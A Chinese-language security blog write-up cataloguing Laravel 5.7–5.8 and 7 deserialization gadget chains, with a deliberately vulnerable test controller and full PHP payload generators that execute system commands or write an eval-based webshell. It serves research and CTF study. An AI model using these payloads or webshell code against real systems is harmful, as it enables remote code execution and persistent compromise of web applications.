前言
在早些的时候就接触了Laravel的反序列化,但也都只是零零碎碎的跟了一些版本的链子,没有主动去尝试挖掘一下可能还有的链子(虽然概率不大),这次把Laravel全系列的反序列化漏洞总结一下。总结的目的是为了熟悉,提炼思路,但实际上还是需要自己动手挖一挖,如果实在挖不出来了,再参考一下其他相关文章,这样才能提高审计能力。
环境搭建
用composer搭建,以搭建Lavarel 5.8.x为例,一般情况下默认组件即可,需要添加其他组件的洞在后面会说明
1 2 3 4
| 更新源为阿里云 composer config -g repo.packagist composer https://mirrors.aliyun.com/composer/ 安装Lavarel 5.8.x composer create-project --prefer-dist laravel/laravel laravel58x "5.8.*"
|
安装好后在 routes\web.php 添加路由
1
| Route::get('/index', "IndexController@index");
|
如果在phpstorm中有Undefined class Route
的warning,解决办法可以参考Undefined class Route (Laravel in PhpStorm)
在app\Http\Controllers 目录下添加 IndexController.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| <?php
namespace App\Http\Controllers;
use Illuminate\Http\Request;
class IndexController extends Controller { public function index(Request $request) { if ($request->query("payload")) { unserialize($request->query("payload")); } else { highlight_file(__FILE__); return "Laravel version: " . app()::VERSION; } } }
|
直接启动服务或者把项目目录放在集成好的php环境下。访问http://localhost:8000/index
1
| php artisan serve --host=0.0.0.0
|
Laravel 5.7-5.8 pop链
前几天做一道很老的题 [CISCN2019 总决赛 Day1 Web4]Laravel1,很多pop链在题目的环境中被删除了,因此自己尝试挖掘了一下,这道题有两个链,一个是官方RCE的链,一个是include任意文件包含(读)的链,感兴趣的师傅可以去挖挖看。
影响版本:
测试页面
由于5.8.x版本没有直接的反序列化unserialize入口,因此我们准备一个测试页面提供一个反序列化的入口
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| <?php
namespace App\Http\Controllers;
use Illuminate\Http\Request;
class IndexController extends Controller { public function index(Request $request) { if ($request->query("payload")) { unserialize($request->query("payload")); } else { highlight_file(__FILE__); return "Laravel version: " . app()::VERSION; } } }
|
pop1*
带*
号的表示部分修复,直接打打不通,需要改变某些修复条件。
1 2 3
| \Illuminate\Broadcasting\PendingBroadcast::__destruct \Faker\Generator::__call \Faker\Generator::format -> call_user_func_array
|
第一个链子很简单,但是我们还是需要理一下这条链是如何找出来的。首先还是__destruct
起手,全局搜一下,首先发现一个比较好的中间链\Illuminate\Broadcasting\PendingBroadcast::__destruct
类似$this->xxx->dispatch($this->xxx)
的形式是比较好的,因为我们可以控制下一步调用任意类的dispatch
方法(有参数限制),并且参数是可控的。于是我们全局搜一下dispatch
方法,一开始没有发现很好用的。这时可能我们会放弃这个__destruct
从而寻找其他的,但是,先别着急。我们可以尝试找一下__call
等魔术方法来当跳板,全局搜一下__call
,发现\Faker\Generator::__call
跟进去看一下,直接就是一个call_user_func_array,这里已知$arguments $formatter
参数可控,跟进$this->getFormatter
看一下,直接可以返回$this->formatters[$formatter]
的内容,因此这里的两个参数我们都是可控的,就可以直接RCE了
payload1:RCE
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
| <?php namespace Faker{ class Generator { protected $formatters = array('dispatch'=>'system'); } }
namespace Illuminate\Broadcasting{ class PendingBroadcast{ protected $events; protected $event;
public function __construct($events, $event) { $this->events = $events; $this->event = $event; } } }
namespace{ use Illuminate\Broadcasting\PendingBroadcast; use Faker\Generator; $b = new Generator(); $a = new PendingBroadcast($b, "calc"); echo urlencode(serialize($a)); }
|
如果是直接拿生成的payload去打的话,会发现执行不了,原因是如果拉的是最新版的5.8.x,那么是添加过补丁了的,具体如下
这里的$this->formatters
被写为空了,因此无法利用,如果能注释掉就可以弹出计算机了。
上面这个链子是直接RCE的链,我们还可以想一下如果命令执行函数被禁用的情况下,尝试其他的利用方法。有以下几种选择:
对于第一种选择,又可以进一步拓宽我们的pop链,可以挖掘的选择有很多,这里我们尝试全局搜索一下call_user_func
或call_user_func_array
在哪里使用了,这样我们可以通过调用任意类的任意方法到达这里。举个例子,可以使用\PhpOption\LazyOption::option
方法,该方法中存在call_user_func_array($this->callback, $this->arguments);
由于option是private方法,如果要给其他类调用的话,显然是要包装在其他该类的非private方法中,比如以下几个任选,
正好满足要求。上面就是通过call_user_func_array进一步拓展利用链,如果该某一个类中过滤死了一些危险函数,我们便可以尝试寻找任意类的任意方法中包含call_user_func_array且参数可控,来进一步利用。这里可以来写个shell,但是有一个需要注意的地方,为什么第一次的call_user_func_array不能直接写shell,因为它的参数$arguments
是个二维数组,也就是说如果我们调用的参数是一个数组,那么传入__call
里面的参数则是一个二维数组,因此我们利用call_user_func_array来调用任意类的任意方法时,传入这个任意方法的就是一个一维数组,然后在该方法中调用第二次的call_user_func_array
,参数正好为一维数组就可以对应file_put_contents
的参数来写shell。
payload2:webshell
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49
| <?php
namespace Faker{ class Generator { protected $formatters = array(); public function __construct($formatters) { $this->formatters = $formatters; } } }
namespace Illuminate\Broadcasting{ class PendingBroadcast{ protected $events; protected $event;
public function __construct($events, $event) { $this->events = $events; $this->event = $event; } } }
namespace PhpOption{ final class LazyOption{ private $callback; private $arguments; private $option;
public function __construct($callback, $arguments, $option) { $this->callback = $callback; $this->arguments = $arguments; $this->option = $option; }
} }
namespace{ $c = new PhpOption\LazyOption('file_put_contents', array('/var/www/html/shell.php', '<?php eval($_REQUEST[diggid]);?>'), null); $b = new Faker\Generator(array('dispatch'=> array($c, "filter"))); $a = new Illuminate\Broadcasting\PendingBroadcast($b, 1); echo urlencode(serialize($a)); }
|
pop2
1 2 3
| \Illuminate\Broadcasting\PendingBroadcast::__destruct \Illuminate\Validation\Validator::__call \Illuminate\Validation\Validator::callExtension -> call_user_func_array
|
这个链子也很简单,还是找__call
,找到的是\Illuminate\Validation\Validator
类的,跟进callExtension
里,发现一如既往的调用了call_user_func_array,并且这里的参数分析一下是完全可控的,因为__call
的参数$method
为固定值dispatch,处理之后的$rule
为固定值""
因此两个参数都是完全可控的了。
payload1:RCE
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
| <?php namespace Illuminate\Broadcasting{ class PendingBroadcast{ protected $events; protected $event;
public function __construct($events, $event) { $this->events = $events; $this->event = $event; } } } namespace Illuminate\Validation{ class Validator{ public $extensions; public function __construct($a){ $this->extensions = $a; } } }
namespace{ use Illuminate\Broadcasting\PendingBroadcast; use Illuminate\Validation\Validator; $b = new Validator(array("" => "system")); $a = new PendingBroadcast($b, "calc"); echo urlencode(serialize($a)); }
|
payload2:webshell
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46
| <?php namespace Illuminate\Broadcasting{ class PendingBroadcast{ protected $events; protected $event;
public function __construct($events, $event) { $this->events = $events; $this->event = $event; } } } namespace Illuminate\Validation{ class Validator{ public $extensions; public function __construct($a){ $this->extensions = $a; } } } namespace PhpOption{ final class LazyOption{ private $callback; private $arguments; private $option;
public function __construct($callback, $arguments, $option) { $this->callback = $callback; $this->arguments = $arguments; $this->option = $option; }
} } namespace{ use Illuminate\Broadcasting\PendingBroadcast; use Illuminate\Validation\Validator; use PhpOption\LazyOption; $c = new LazyOption('file_put_contents', array('.\shell.php', '<?php eval($_REQUEST[diggid]);?>'), null); $b = new Validator(array(''=>array($c, 'filter'))); $a = new PendingBroadcast($b, ""); echo urlencode(serialize($a)); }
|
pop3
1 2
| \Illuminate\Bus\Dispatcher::dispatch \Illuminate\Bus\Dispatcher::dispatchToQueue
|
这个链极其简单,是直接__destruct
然后顺着找的,没有借助__call
等跳板,全部参数都是可控的,对应参数细节跟一下就知道了
payload:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38
| <?php namespace Illuminate\Broadcasting{ class PendingBroadcast{ protected $events; protected $event;
public function __construct($events, $event) { $this->events = $events; $this->event = $event; } } }
namespace Illuminate\Bus{ class Dispatcher{ protected $queueResolver; public function __construct($a){ $this->queueResolver = $a; } } }
namespace Illuminate\Events{ class CallQueuedListener{ public $connection; public function __construct($a){ $this->connection = $a; } } }
namespace { $a = new Illuminate\Events\CallQueuedListener("calc"); $b = new Illuminate\Bus\Dispatcher("system"); $c = new Illuminate\Broadcasting\PendingBroadcast($b, $a); echo urlencode(serialize($c)); }
|
pop4(特别)
这个链子在 [CISCN2019 总决赛 Day1 Web4]Laravel1 出现了
1 2 3 4 5 6
| \Symfony\Component\Cache\Adapter\TagAwareAdapter::__destruct \Symfony\Component\Cache\Adapter\TagAwareAdapter::commit \Symfony\Component\Cache\Adapter\TagAwareAdapter::invalidateTags \Symfony\Component\Cache\Adapter\ProxyAdapter::saveDeferred \Symfony\Component\Cache\Adapter\ProxyAdapter::doSave -> ($this->setInnerItem)($innerItem, $item);
|
必要组件:symfony/symfony
1
| composer require Symfony/symfony
|
这个链子换了一个__destruct
,发现了$this->commit
的链,继续跟进,发现了前面说的$this->xxx->saveDeferred($item)
的调用形式,全局找一下saveDeferred
,然后发现了ProxyAdapter的一条链可以到($this->setInnerItem)($innerItem, $item)
,显然这里存在任意函数执行,接下来我们分析一下到达这里的条件和这几个参数是否可控。
1 2 3
| $this->setInnerItem $innerItem = $item["\0*\0innerItem"] = $this->deferred["\0*\0innerItem"] CacheItemInterface $item
|
从上面的关系可以回溯出变量的值,因此我们可以知道这里的参数是完全可控的,注意这里一个比较有意思的地方,当对一个对象进行(array)$obj
的强制类型转换时,会把对象变成一个数组,属性和值变为键值对
这和序列化时表示的属性是一样的。
payload
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40
| namespace SymfonyComponentCacheAdapter{ class TagAwareAdapter{ private $deferred; private $pool; function __construct($deferred, $pool){ $this->deferred = $deferred; $this->pool = $pool; }
} class ProxyAdapter{ private $setInnerItem; private $poolHash; function __construct($setInnerItem, $poolHash){ $this->setInnerItem = $setInnerItem; $this->poolHash = $poolHash; } } }
namespace SymfonyComponentCache{ final class CacheItem{ protected $expiry; protected $poolHash; protected $innerItem;
function __construct($expiry, $poolHash, $innerItem){ $this->expiry = $expiry; $this->poolHash = $poolHash; $this->innerItem = $innerItem; } } }
namespace{ $b = new SymfonyComponentCacheAdapterProxyAdapter('system', 1); $d = new SymfonyComponentCacheCacheItem(1, 1, "calc"); $a = new SymfonyComponentCacheAdapterTagAwareAdapter(array($d),$b); echo urlencode(serialize($a)); }
|
pop5
这个链相较于前面几个链来说,比较有意思,而且相较前面几个链子涉及比较多关于Lavarel IOC特性以及核心对象Container的一些知识
1 2 3 4
| \Illuminate\Foundation\Testing\PendingCommand::__destruct \Illuminate\Foundation\Testing\PendingCommand::run Illuminate\Foundation\Application::call \Illuminate\Container\BoundMethod::call -> call_user_func_array
|
起点还是__destruct
,但是这次找的是Laravel5.7新增一个类PendingCommand的,跟进可以看到调用了$this->run()
,继续跟进看一下
注意到后面调用了一个call
方法,这个call方法一般来说跟函数调用有一些关系,全局搜一下,可以发现Container
类有该方法
继续跟进,发现了call_user_func
但是这里参数比较复杂,而且这个call_user_func_array
是写在闭包里面的,跟进callBoundMethod
可以知道,如果$callback
是可调用函数的话,就会执行闭包函数的内容,所以这里的call_user_func_array
显然是可以执行的。
接下来我们考虑参数是否可控,回溯一下$callback
变量:
1
| $callback -> $callback -> $this->command
|
这里的$this->command
是PendingCommand类的,完全可控,跟进getMethodDependencies看一下第二个参数是否可控
这里返回的值是$parameters
和默认为空的数组merge合并的值,在回溯一下$parameters
也是完全可控的,因此,这里的条件都完美满足。接下来就是考虑怎么样才能让程序执行到这里,先考虑一下一开始的$this->mockConsoleOutput()
,该函数有几个变量需要赋值,否则会报错,这里判断的方法可以先不赋值,然后看哪个变量没有值会报错导致无法执行,这样再把值给添加上去,一次一次试探即可。
注意这里还会进入$this->createABufferedOutputMock()
,而顺利通过该函数的要求是$this->test->expectedOutput
是一个数组,因此我们可以全局寻找看一下哪个类有expectedOutput属性。这里找到了Tests\Unit\ExampleTest
类。假设没有合适的类,这时我们可以考虑找__get
方法来返回任意属性。比如:
回到mockConsoleOutput()
,最后的$this->app
根据注释我们可以知道,并且根据Laravel中Container类的架构,这里$this->app
的值可以赋值为\Illuminate\Contracts\Foundation\Application
对象,这样就可以过第一个$this->mockConsoleOutput()
。
接下来Kernel::class
返回的就是Kernel
类的名称
而由于$this->app
是Application对象,而其继承Container类,在Container类中,在该类中,存在resolve
方法,该方法用来创建 bind 的类型,并且存在以下包装方法和别名:
public function get($id)
public function make($abstract, array $parameters = [])
public function makeWith($abstract, array $parameters = [])
public function offsetGet($key) 数组的形式访问的支持
上面四个方法底层还是会调用resolve
方法,注意到最后一种形式,支持数组的形式访问,什么意思呢,就是
1 2
| $container = \Illuminate\Container\Container::getInstance(); $container['name']; //等同于执行public function offsetGet('name');
|
所以这里$this->app[Kernel::class]
的加载形式我们就可以理解了,要想执行到Container或Application类的call
方法,那么我们这里$this->app[Kernel::class]
的返回值必须要可控为任意对象。跟进看一下,一直跟到resolve
方法里
如果存在$this->instances[$abstract]
并且$needsContextualBuild
为false的时候,而这里$needsContextualBuild
不添加任何条件就可以为false,至此,我们就可以返回任意对象了。至此,整个链也就分析完毕了。
payload:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40
| <?php namespace Illuminate\Foundation\Testing{ class PendingCommand{ protected $hasExecuted = false; protected $parameters = array("calc"); protected $command = "system"; public $test; protected $app; public function __construct($a, $b) { $this->test = $a; $this->app = $b; } } } namespace Tests\Unit{ class ExampleTest{ public $expectedOutput = array("diggid"=>"diggid"); } }
namespace Illuminate\Foundation{ class Application{ protected $instances; public function __construct($a) { if($a != null) { $this->instances = array("Illuminate\Contracts\Console\Kernel" => $a); } } } }
namespace { $d = new Illuminate\Foundation\Application(null); $c = new Illuminate\Foundation\Application($d); $b = new Tests\Unit\ExampleTest; $a = new Illuminate\Foundation\Testing\PendingCommand($b,$c); echo urlencode(serialize($a)); }
|
Laravel 7 pop链
默认环境搭建使用
1
| composer create-project laravel/laravel laravel7 "7.12.*"
|
从Laravel5.8版本的几个入手点看看,有哪些修复和改变,测试页面和5.8是一样的,需要手动构造一个反序列化的入口
部分修复
pop1
针对pop1这条链,还是原来的那个修复,并无其他改变
pop4
还是利用__wakeup
方法来阻止某些类的反序列化或者置空类属性
复用链
上面是已修复的几个链子,但是以下几个链仍然可以打通
pop1
这个pop1就是5.8的pop5,整个调用链不变,但是由于代码的一些修改,需要增加一些利用条件来绕过。
调用链中的PendingCommand
类有的namespace改为了Illuminate\Testing
,整个流程不变,最后触发点有一些变化
1 2 3 4
| \Illuminate\Testing\PendingCommand::__destruct \Illuminate\Foundation\Testing\PendingCommand::run Illuminate\Foundation\Application::call \Illuminate\Container\BoundMethod::call -> ($callback)()
|
我们知道前面5.8的pop5最麻烦的地方就是要理清各个变量的值使得代码能够顺利的走到call_user_func_array
处,而版本7的这个链子,需要更多的变量条件。下面继续来分析一下
1.首先还是要过mockConsoleOutput
先看$this->createABufferedOutputMock()
,diff一下源代码可以发现
多了一个$this->applyTableOutputExpectations($mock);
这里就不详细分析了,跟一下代码就可以发现,需要以下条件
1 2 3 4 5 6 7 8
| public $expectedTables = array( array( "columnStyles" => array("default"), "headers" => array("diggid"), "rows" => array(array("diggid")), "tableStyle" => "default" ), );
|
过了之后,和之前一样的,需要public $expectedOutput = array("diggid"=>"diggid");
然后可以过createABufferedOutputMock
了。回到mockConsoleOutput,和5.8不同的是,这里的expectedQuestions
默认不存在,因此我们要赋值一下,public $expectedQuestions = array();
。这样,整个mockConsoleOutput就可以过了。
2.一直进入到getMethodDependencies
前面知道,这个方法调用完后会返回merge后的$parameters
,但如果不作任何处理的话,会抛异常,原因出在static::addDependencyForCallParameter
,跟进看一下
可以看到,如果$b
为false的话,调式一下可以发现,会直接到最后一个elseif的分支,然后异常,因此我们要进入第一个if的分支,因此这里要满足
1 2 3
| $a = $paramName = $parameter->getName(); $b = array_key_exists($a, $parameters); $b == true
|
而调式发现这里的$a
会返回固定值command
,因此我们的$parameters
要这样设才能使$b
为true
1
| protected $parameters = array("command"=>"calc");
|
至此,就可以触发rce了
payload
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49
| <?php namespace Illuminate\Testing{ class PendingCommand{ protected $hasExecuted = false; protected $parameters = array("command"=>"calc"); protected $command = "system"; public $test; protected $app; public function __construct($a, $b) { $this->test = $a; $this->app = $b; } } } namespace Tests\Unit{ class ExampleTest{ public $expectedOutput = array("diggid"=>"diggid"); public $expectedTables = array( array( "columnStyles" => array("default"), "headers" => array("diggid"), "rows" => array(array("diggid")), "tableStyle" => "default" ), ); public $expectedQuestions = array(); } }
namespace Illuminate\Foundation{ class Application{ protected $instances; public function __construct($a) { if($a != null) { $this->instances = array("Illuminate\Contracts\Console\Kernel" => $a); } } } }
namespace { $d = new Illuminate\Foundation\Application(null); $c = new Illuminate\Foundation\Application($d); $b = new Tests\Unit\ExampleTest; $a = new Illuminate\Testing\PendingCommand($b,$c); echo urlencode(serialize($a)); }
|
pop2
1.RCE
1 2 3 4 5
| \Illuminate\Broadcasting\PendingBroadcast::__destruct \Illuminate\Support\Manager::__call \Illuminate\Support\Manager::driver \Illuminate\Support\Manager::createDriver \Illuminate\Support\Manager::callCustomCreator
|
针对5.8的pop1,我们知道开始切入点并没有任何修复,因此继续从这开始找,直接全局找__call
,找好用的__call
方法的有几个思路
1 2
| $this->xxx()->{$method}(...$args); $this->mock->{$this->method}(...);
|
这样我们跟进xxx
方法,可能会拓宽链子,并且跟__call
传进来的$method
没有关系,这样就减少了一个不可控的变量。针对上面两种思路,这条链就是采取的第二种方法,找到了\Illuminate\Support\Manager::__call
,Manager
是一个接口,找其实现类
写payload的时候选一个即可。继续回到__call
方法,跟进driver()
跟进后可以发现$driver
的值由protected $defaultChannel
决定,因此可控,可以进入该分支,继续跟进createDriver
同样的,再跟进callCustomCreator
这不搞他?全部完全可控,直接写payload完事
payload
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35
| <?php
namespace Illuminate\Notifications{ //use Illuminate\Support\Manager; class ChannelManager{ protected $customCreators = array("diggid" => "system"); protected $container = "calc"; protected $drivers = array(); protected $defaultChannel = "diggid"; } }
namespace Illuminate\Broadcasting{ class PendingBroadcast{ protected $events; protected $event;
public function __construct($events, $event) { $this->events = $events; $this->event = $event; } } }
namespace { $b = new Illuminate\Notifications\ChannelManager; $a = new Illuminate\Broadcasting\PendingBroadcast($b, "diggid"); echo urlencode(serialize($a)); }
|
2.写webshell
1 2 3 4 5 6
| \Illuminate\Broadcasting\PendingBroadcast::__destruct \Illuminate\Support\Manager::__call \Illuminate\Support\Manager::driver \Illuminate\Support\Manager::createDriver \Illuminate\Support\Manager::callCustomCreator \Illuminate\Auth\RequestGuard::user
|
看到可以完全控制任意方法和该方法的参数的时候,思维可以整花一点,上面调用system('calc')
是执行的单参数函数,但是不能调用file_put_contents
来写shell,这里我们再尝试拓宽一下链子:
1 2
| call_user_func([$obj, "method"]) call_user_func_array也行
|
也就是传入数组形式的第一个参数,相当于调用$obj->method()
,也就是调用了一个任意类的无参数方法,那么又进一步拓宽了利用链,这里如何找到合适的方法,这里有两种思路:
对于第一种思路:
别忘了我们之前的LazyOption
这个类的option()
方法,调用LazyOption
类的无参get
方法即可到达option
对于第二种思路:
@Ricky师傅找到了一个比较好用的方法,在\Illuminate\Auth\RequestGuard::user
非常完美的call_user_func
,且参数均可控,那么直接可以写shell了
payload:webshell
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48
| <?php
namespace Illuminate\Notifications{ //use Illuminate\Support\Manager; class ChannelManager{ protected $customCreators; protected $drivers = array(); protected $defaultChannel = "diggid"; public function __construct($a) { $this->customCreators = array("diggid" => "call_user_func"); $this->container = array($a, "user"); } } }
namespace Illuminate\Broadcasting{ class PendingBroadcast{ protected $events; protected $event;
public function __construct($events, $event) { $this->events = $events; $this->event = $event; } } }
namespace Illuminate\Auth{ class RequestGuard{ protected $user = null; protected $callback = "file_put_contents"; protected $request = "./shell.php"; protected $provider = '<?php @eval($_REQUEST[diggid]);?>'; } } namespace { $c = new Illuminate\Auth\RequestGuard; $b = new Illuminate\Notifications\ChannelManager($c); $a = new Illuminate\Broadcasting\PendingBroadcast($b, "diggid"); echo urlencode(serialize($a)); }
|
pop3
思路类似pop2,找了另一个HigherOrderMessage
类的__call
方法配合入口类PendingBroadcast
的变种,最后用LazyOption
来RCE
payload
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51
| <?php /* # -*- coding: utf-8 -*- # @filename: pop3-rce.php # @author: diggid */ namespace Mockery { class HigherOrderMessage{ private $mock; private $method; public function __construct($a, $b) { $this->mock = $a; $this->method = $b; } } } namespace Illuminate\Broadcasting{ class PendingBroadcast{ protected $events; protected $event;
public function __construct($events, $event) { $this->events = $events; $this->event = $event; } } }
namespace PhpOption{ final class LazyOption{ private $callback; private $arguments; private $option;
public function __construct($callback, $arguments, $option) { $this->callback = $callback; $this->arguments = $arguments; $this->option = $option; }
} } namespace { $a = new PhpOption\LazyOption("system", array("calc"), null); $b = new Mockery\HigherOrderMessage($a, "filter"); $c = new Illuminate\Broadcasting\PendingBroadcast($b, "diggid"); echo urlencode(serialize($c)); }
|
pop4
前面的链子大部分都是以PendingBroadcast
为起手类,然后调用__call
作为跳板,如果能直接控制适当参数配合call_user_func
或call_user_func_array
方法的话,就直接RCE,如果是形如call_user_func($this->xxx)
的单参数限制的话,就找终点类LazyOption::option
方法或者RequestGuard::user
方法。上面把__call
的跳板差不多找完了(可能还有漏的,不过思路大概这样),现在我们再找一些起点类的__destruct
方法来配合__call
,这样组合数能自由搭配的链子就会越来越多。
这里能找到下面这几个好用类
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33
| 唯一可用: 1.\Illuminate\Routing\PendingResourceRegistration::__destruct public function __destruct() { if (! $this->registered) { $this->register(); } } public function register() { $this->registered = true; return $this->registrar->register( $this->name, $this->controller, $this->options ); } 2.\Symfony\Component\Routing\Loader\Configurator\CollectionConfigurator::__destruct public function __destruct() { if (null === $this->prefixes) { $this->collection->addPrefix($this->route->getPath()); } if (null !== $this->host) { $this->addHost($this->collection, $this->host); } $this->parent->addCollection($this->collection); } 3.\Symfony\Component\Routing\Loader\Configurator\ImportConfigurator::__destruct public function __destruct() { $this->parent->addCollection($this->route); }
|
其实不难发现,我们只需要找到前面说到的$this->xxx->xxx()
形式的可以了。这样的形式有很多,但是大部分都被__wakeup
搅屎了。这里剩下的只有第一个PendingResourceRegistration
可以用了。如法炮制,替换掉pop3的入口类PendingBroadcast
即可
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50
| <?php
namespace Illuminate\Routing{ class PendingResourceRegistration{ protected $registered = false; protected $registrar; protected $controller = "diggid"; protected $options = "diggid"; public function __construct($a) { $this->registrar = $a; } } } namespace Mockery { class HigherOrderMessage{ private $mock; private $method; public function __construct($a, $b) { $this->mock = $a; $this->method = $b; } } }
namespace PhpOption{ final class LazyOption{ private $callback; private $arguments; private $option;
public function __construct($callback, $arguments, $option) { $this->callback = $callback; $this->arguments = $arguments; $this->option = $option; } } } namespace { $a = new PhpOption\LazyOption("system", array("calc"), null); $b = new Mockery\HigherOrderMessage($a, "filter"); $c = new Illuminate\Routing\PendingResourceRegistration($b); echo urlencode(serialize($c)); }
|
pop5
对比一下5.8版本和7版本的Validator::callExtension
函数
1 2
| 5.8 => call_user_func_array($callback, $parameters); 7 => $callback(...array_values($parameters))
|
写法稍微变了一下,但是实际上没啥差别。但是这里要说的是,这样的写法即可当跳板也可直接RCE,因为可以控制大于或等于2个的参数
对于5.8的pop2已经给了一个payload,这里对版本8再给出一个payload(可RCE也可写shell,自由发挥),有两种写法
- 配合单参数的source类PendingBroadcast时只能当跳板
1
| call_user_func(array(xxx,xxx))
|
- 配合三参数的source类PendingResourceRegistration时可以RCE或webshell
1 2
| $parameters = array(array("x"=>"calc"),array("x"=>"x"),"system"); array_udiff(...array_values($parameters))
|
payload:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34
| <?php
namespace Illuminate\Routing{ class PendingResourceRegistration{ protected $registered = false; protected $registrar; protected $name = array("diggid"=>"calc"); protected $controller = array("diggid"=>"diggid"); protected $options = "system"; public function __construct($a) { $this->registrar = $a; } } } namespace Illuminate\Validation{ class Validator{ public $extensions; public function __construct($a) { $this->extensions = $a; } } }
namespace { $b = new Illuminate\Validation\Validator(array(""=>"array_udiff")); $c = new Illuminate\Routing\PendingResourceRegistration($b); echo urlencode(serialize($c)); }
|
总结
这里的pop链按照java反序列化的Source => Intermediate Class => Sink的思路去分析,能比较清晰的能找到链子,抓住敏感的函数和写法,回溯可控参数,设置相应属性使得代码执行到Sink处,重点注意各种写法对于可控参数的影响,思路不局限于RCE,还可以写shell,RCE时不局限于system
函数,还可以利用array_udiff
等数组类的执行函数,这样就不会局限于参数的限制。
Source
和java反序列化不一样,php反序列化的切入口(source)基本都是固定的__destruct
,我们只需要寻找合适的即可,通过上面的挖掘总结出来合适的__destruct
的条件有:
所属类没有被__wakeup
搅屎
当前方法或跟进一两个方法中存在这几种形式:
1 2 3
| $this->xxx->yyy($this->zzz) //常见 $this->xxx->yyy(zzz) //参数不可控,可能有影响,也可能没影响(__call跳板不使用传入的参数) $this->xxx->{$this->yyy}($this->zzz) //最佳,可以省略找中间类直接到Sink
|
- 有
$this->xxx(...)
的形式并且能一直跟进到RCE(像5.8版本的pop2没调用中间魔术方法直接RCE的很少)
目前找到比较好用且能用的切入口有(可能会继续补充):
配合 __call
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| 1.PendingBroadcast public function __destruct() { $this->events->dispatch($this->event); }
2.PendingResourceRegistration public function __destruct() { if (! $this->registered) { $this->register(); } } public function register() { $this->registered = true; return $this->registrar->register( $this->name, $this->controller, $this->options ); }
|
直接 RCE
1 2 3 4 5 6 7 8 9 10 11 12 13
| \Symfony\Component\Cache\Adapter\TagAwareAdapter public function __destruct() { $this->commit(); }
pop chain: \Symfony\Component\Cache\Adapter\TagAwareAdapter::__destruct \Symfony\Component\Cache\Adapter\TagAwareAdapter::commit \Symfony\Component\Cache\Adapter\TagAwareAdapter::invalidateTags \Symfony\Component\Cache\Adapter\ProxyAdapter::saveDeferred \Symfony\Component\Cache\Adapter\ProxyAdapter::doSave -> ($this->setInnerItem)($innerItem, $item);
|
Magic Method
中间类(Intermediate Class),起衔接和跳板的作用。这里比较好用的是以__call
方法为核心的中间类,可能也会有__invoke
方法。结合__destruct
的$this->xxx->yyy($this->zzz)
形式,我们便可以调用合适类的__call($method,$args)
方法,$method
就是yyy
,$args
是yyy
函数的参数构成的参数数组,因此我们还需要考虑$method
和$args
的可控性对__call
的影响。总结有下面的几个比较好用
适用范围:
必要组件:Symfony/symfony(第四个类)
__call 跳板
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
| 1.\Illuminate\View\InvokableComponentVariable public function __call($method, $parameters) { return $this->__invoke()->{$method}(...$parameters); }
public function __invoke() { return call_user_func($this->callable); }
2.\Mockery\HigherOrderMessage public function __call($method, $args) { if ($this->method === 'shouldNotHaveReceived') { return $this->mock->{$this->method}($method, $args); }
$expectation = $this->mock->{$this->method}($method); return $expectation->withArgs($args); }
3.\Symfony\Component\Cache\Traits\RedisClusterProxy public function __call(string $method, array $args) { $this->redis ?: $this->redis = $this->initializer->__invoke();
return $this->redis->{$method}(...$args); }
|
__call 非跳板
非跳板即不同找Sink,直接顺着找即可调用到RCE的部分
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
| 4.\Illuminate\Validation\Validator public function __call($method, $parameters) { $rule = Str::snake(substr($method, 8));
if (isset($this->extensions[$rule])) { return $this->callExtension($rule, $parameters); } ... } protected function callExtension($rule, $parameters) { $callback = $this->extensions[$rule];
if (is_callable($callback)) { return call_user_func_array($callback, $parameters); return $callback(...array_values($parameters)) } }
5.\Illuminate\Support\Manager public function __call($method, $parameters) { return $this->driver()->$method(...$parameters); }
|
Sink
Sink就是触发最后RCE或者其他文件读写操作的点。下面两个Sink的优势是不接受参数(不受传入参数的影响),任意参数可控
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32
| 1.\PhpOption\LazyOption::option
private function option() { if (null === $this->option) { $option = call_user_func_array($this->callback, $this->arguments); ... } return $this->option; }
